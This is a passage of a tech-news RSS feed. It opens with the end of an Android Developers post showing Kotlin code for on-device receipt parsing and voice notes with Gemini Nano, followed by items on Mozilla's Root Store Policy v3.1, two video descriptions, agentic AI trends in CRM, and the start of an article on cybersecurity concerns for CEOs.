<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Security Blog: Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1]]></title>
<description><![CDATA[Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of Mozilla Root Store Policy (MRSP) version 3.1, effective July 1, 2026.
While previous policy updates focused heavily on certificate revocation, automation, and operat...]]></description>
<link>https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693288/tools/mozilla-security-blog-improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v31/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:23 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Mozilla remains committed to maintaining a secure, trustworthy, and transparent Web PKI. Today we are announcing the publication of <a href="https://www.mozilla.org/en-US/about/governance/policies/security-group/certs/policy/">Mozilla Root Store Policy</a> (MRSP) version 3.1, effective July 1, 2026.</p>
<p>While previous policy updates focused heavily on certificate revocation, automation, and operational resilience, MRSP v3.1 focuses on a different challenge: ensuring that Certification Authority (CA) operations are sufficiently transparent, understandable, and auditable.</p>
<p>Trust in the Web PKI depends not only on technical requirements, but also on the ability of Mozilla, auditors, and the broader community to understand how CA systems are designed, operated, and assessed. MRSP v3.1 introduces new requirements intended to improve the quality of CA documentation and strengthen independent assurance of the design and effectiveness of controls that protect CA systems.</p>
<h3><b>Improving CP/CPS Documentation</b></h3>
<p>Certification Practice Statements (CPSes) and combined Certificate Policy / Certification Practice Statement documents (CP/CPSes) are among the most important public documents published by a CA. They describe how a CA conducts its operations and meets industry requirements.</p>
<p>Over the years, we have seen significant variation in the quality, structure, and level of detail provided in CP/CPS documentation. Some documents provide extensive implementation detail, while others rely heavily on incorporation by reference or provide only high-level descriptions of CA practices.</p>
<p>The revised policy will continue to require conformance with RFC 3647, as modified by applicable CA/Browser Forum requirements. Improvements to section 3.3 in the MRSP will establish clearer expectations regarding the content and quality of CP/CPS documentation. The new requirements emphasize that documentation must be explicit, bounded, auditable, and sufficiently detailed to describe the CA operator’s certificate issuance and management activities, while also establishing requirements for version control, accessibility, and ongoing maintenance. The objective is to ensure that a technically competent reviewer will be better-able to determine what commitments the CA has made, how those commitments are implemented, and whether the documented practices support technical, operational, and performance oversight.</p>
<p>Mozilla believes that these new CP/CPS requirements will improve transparency, reduce misunderstandings, support more effective audits, and help reduce the risk of certificate misissuance by ensuring that operational practices are documented accurately, consistently, and in sufficient detail to permit meaningful review.</p>
<h3><b>Introducing Detailed Controls Reports</b></h3>
<p>A second major enhancement in MRSP v3.1 is the introduction of Detailed Controls Reports (DCRs). Traditional WebTrust and ETSI audit reports provide valuable independent assurance regarding compliance with established criteria. However, they generally provide only limited visibility into the specific controls, testing procedures, and operational environments that support those conclusions.</p>
<p>Beginning with audit periods starting on or after July 1, 2027, CA operators with root certificates enabled for TLS website authentication will be required to obtain a DCR. The purpose of the DCR is to provide CA management, auditors, and Mozilla with greater visibility into the controls, testing, and operating effectiveness of CA systems that support compliance with the CA/Browser Forum’s TLS Baseline Requirements and Network and Certificate System Security Requirements. Mozilla generally expects to review DCRs only on an as-needed basis, such as during compliance reviews, incident investigations, root inclusion evaluations, or other oversight activities.</p>
<p>A DCR must include:</p>
<ul>
<li>The scope and boundaries of the audited CA systems;</li>
<li>Applicable audit criteria;</li>
<li>Controls implemented by the CA;</li>
<li>The auditor’s testing procedures;</li>
<li>Results of control testing; and</li>
<li>Information regarding control exceptions or deficiencies.</li>
</ul>
<p>Mozilla expects that DCRs will complement existing audit reports and strengthen transparency and assurance by providing additional detail regarding system boundaries, control implementation, testing procedures, and control effectiveness that is not typically available in traditional audit reports. Effective compliance requires more than documented policies and successful audits; it also requires management understanding, oversight, and engagement. By providing greater visibility into CA systems, controls, testing activities, and operational risks, DCRs can help reinforce a strong tone at the top regarding compliance expectations, support informed decision-making and resource allocation, enable earlier identification of weaknesses, and promote a culture of continuous improvement. The intent is not to replace existing audit reports, but to provide additional information that supports effective governance, oversight, and informed trust decisions.</p>
<h3><b>Additional Clarifications and Improvements</b></h3>
<p>MRSP v3.1 also includes several targeted clarifications and refinements:</p>
<ul>
<li>aligns Mozilla’s mass revocation planning requirements with the corresponding CA/Browser Forum Baseline Requirements, helping ensure consistency across compliance frameworks;</li>
<li>clarifies audit expectations for root inclusion requests, including requirements relating to audit continuity and root key generation ceremonies;</li>
<li>requires root CA key pairs submitted for inclusion to have been generated within the previous five years, helping ensure that newly included roots are based on contemporary cryptographic practices and controls; and</li>
<li>clarifies expectations when ownership or operational control of a CA changes, helping ensure that Mozilla receives timely notice and can evaluate the impact of acquisitions or organizational changes on continued compliance.</li>
</ul>
<h3><b>Looking Forward</b></h3>
<p>Mozilla recognizes that these changes will require preparation by CA operators, auditors, and other ecosystem participants. To support implementation, Mozilla is publishing accompanying wiki guidance regarding both <a href="https://wiki.mozilla.org/CA/CP-CPS_Guidance">CP/CPS Documentation</a> and <a href="https://wiki.mozilla.org/CA/DCRs">Detailed Controls Reports</a>.</p>
<p>As with previous policy updates, these changes were informed by discussions with CA operators, auditors, and members of the Web PKI community. We appreciate the feedback received during the review process and look forward to continued collaboration as the ecosystem evolves.</p>
<p>Mozilla has a longstanding focus on building confidence in the Web PKI through transparency, accountability, and continuous improvement. By requiring higher-quality CP/CPS documentation and strengthening independent assurance, MRSP v3.1 advances Mozilla’s commitment to protecting its users and maintaining their trust in the systems that help secure the web.</p>
<p>The post <a href="https://blog.mozilla.org/security/2026/06/29/improving-transparency-and-assurance-in-the-web-pki-mozilla-root-store-policy-v3-1/">Improving Transparency and Assurance in the Web PKI: Mozilla Root Store Policy v3.1</a> appeared first on <a href="https://blog.mozilla.org/security">Mozilla Security Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Lightmatter's New 65.5 Trillion OPS Light Chip Made NVIDIA's Billion Dollar GPU's Look Like a JOKE!]]></title>
<description><![CDATA[Author: Evolving AI - Bewertung: 293x - Views:5495 The future of AI chips might not run on electricity. It might run on light.

In this video, we break down how Lightmatter is using photonic computing to attack one of the biggest problems in artificial intelligence: moving massive amounts of data...]]></description>
<link>https://tsecurity.de/de/3693247/videos/lightmatters-new-655-trillion-ops-light-chip-made-nvidias-billion-dollar-gpus-look-like-a-joke/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693247/videos/lightmatters-new-655-trillion-ops-light-chip-made-nvidias-billion-dollar-gpus-look-like-a-joke/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:14 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Evolving AI - Bewertung: 293x - Views:5495 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/XimElc33jyA?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>The future of AI chips might not run on electricity. It might run on light.<br />
<br />
In this video, we break down how Lightmatter is using photonic computing to attack one of the biggest problems in artificial intelligence: moving massive amounts of data between chips without wasting huge amounts of power. Lightmatter’s Envise processor uses light to perform AI calculations such as matrix multiplication, while its Passage platform uses optical interconnects to move data between AI chips at extreme speeds. The company has demonstrated real AI workloads including ResNet, BERT, and reinforcement learning models, while targeting the growing power and bandwidth crisis inside modern AI data centers. We also explore the Passage M1000 photonic superchip, Lightmatter’s collaboration with Qualcomm, its involvement in NVIDIA’s NVLink Fusion ecosystem, and why optical computing could become critical as AI clusters continue scaling. Could light-powered AI chips replace traditional electronic computing, or will photonics first transform how GPUs communicate within massive data centers?<br />
<br />
#AIChips #Lightmatter #PhotonicComputing #Nvidia #ArtificialIntelligence #DataCenter #FutureTech<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why PC Memory is Stuck in 1995 (Unified Memory Explained)]]></title>
<description><![CDATA[Author: Techquickie - Bewertung: 10104x - Views:195333 Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You'll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonu...]]></description>
<link>https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693241/videos/why-pc-memory-is-stuck-in-1995-unified-memory-explained/</guid>
<pubDate>Sat, 25 Jul 2026 08:36:06 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Techquickie - Bewertung: 10104x - Views:195333 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/mWFKVqtAkeI?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Play War Thunder for FREE on PC, PlayStation, Xbox, and mobile using the links below! New to the game, or returning after six months? You&#039;ll get a massive bonus pack on PC and consoles packed with vehicles, boosters, and more. Claim your bonus and start playing today!<br />
<br />
PC/Console: https://playwt.link/techquickie <br />
Mobile:  https://wtm.game/techquickie<br />
<br />
Computer memory is officially worth more than gold, thanks to AI. So why do our CPUs and GPUs still act like selfish jerks and refuse to share it? They can and it&#039;s called Unified Memory, and in this video we’re breaking down the physical bottlenecks of traditional PC architecture and explaining how Apple - and now AMD and NVIDIA - are rewriting the rules of hardware efficiency. Special thanks to Professor Prashant Nair from UBC for lending his engineering expertise!<br />
<br />
Leave a reply with your requests for future episodes.<br />
<br />
► SHOP OUR PRODUCTS: https://lttstore.com<br />
► GET A VPN: https://www.piavpn.com/TechQuickie<br />
► GET EXCLUSIVE CONTENT ON FLOATPLANE: https://lmg.gg/lttfloatplane<br />
► SPONSORS, AFFILIATES, AND PARTNERS: https://lmg.gg/partners<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[3 cybersecurity issues that should keep every CEO awake at night]]></title>
<description><![CDATA[For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.



Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organization...]]></description>
<link>https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693088/it-nachrichten/3-cybersecurity-issues-that-should-keep-every-ceo-awake-at-night/</guid>
<pubDate>Sat, 25 Jul 2026 06:16:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For years, I have been saying that cybersecurity is no longer a technology problem. It has become a business leadership challenge.</p>



<p class="wp-block-paragraph">Yet, despite record levels of spending, ever-growing security teams, increasingly sophisticated technologies and a constant stream of new regulations, organizations continue to suffer major cyber incidents with alarming regularity. Every week seems to bring news of another ransomware attack, supply chain compromise or data breach affecting organizations that many would have assumed were well protected.</p>



<p class="wp-block-paragraph">The obvious conclusion is that we are asking the wrong questions.</p>



<p class="wp-block-paragraph">Too many executive teams remain preoccupied with the latest threat actor, the newest security product the CISO wants to buy or the latest vulnerability making headlines. Those issues matter, but they are not what should be keeping CEOs awake at night.</p>



<p class="wp-block-paragraph">In my view, there are three far more fundamental issues that deserve the attention of every chief executive.</p>



<h2 class="wp-block-heading">1. Corporate complexity, and the widening gap between business leadership and cybersecurity reality</h2>



<p class="wp-block-paragraph">Perhaps the biggest cybersecurity risk facing large organizations today is not technical at all.</p>



<p class="wp-block-paragraph">It is the growing disconnect between executive perception and operational reality.</p>



<p class="wp-block-paragraph">Many boards genuinely believe their organizations are reasonably well protected. They receive regular dashboards showing improving maturity scores, increasing compliance levels, falling vulnerability counts and reassuring traffic-light reports.</p>



<p class="wp-block-paragraph">Unfortunately, cyber attackers do not read dashboards.</p>



<p class="wp-block-paragraph">Behind those executive reports often lies an increasingly complex technology landscape, thousands of unmanaged digital assets, ageing infrastructure, rampant shadow IT, fragmented ownership, inconsistent governance and security teams struggling to keep pace with relentless business change.</p>



<p class="wp-block-paragraph">The problem is rarely a lack of effort.</p>



<p class="wp-block-paragraph">It is that corporate complexity has reached a level where traditional governance mechanisms are no longer capable of providing an accurate picture of organizational resilience.</p>



<p class="wp-block-paragraph">Executives believe they understand the level of cyber risk they face because they receive regular reports. Those reports often measure activity rather than resilience.</p>

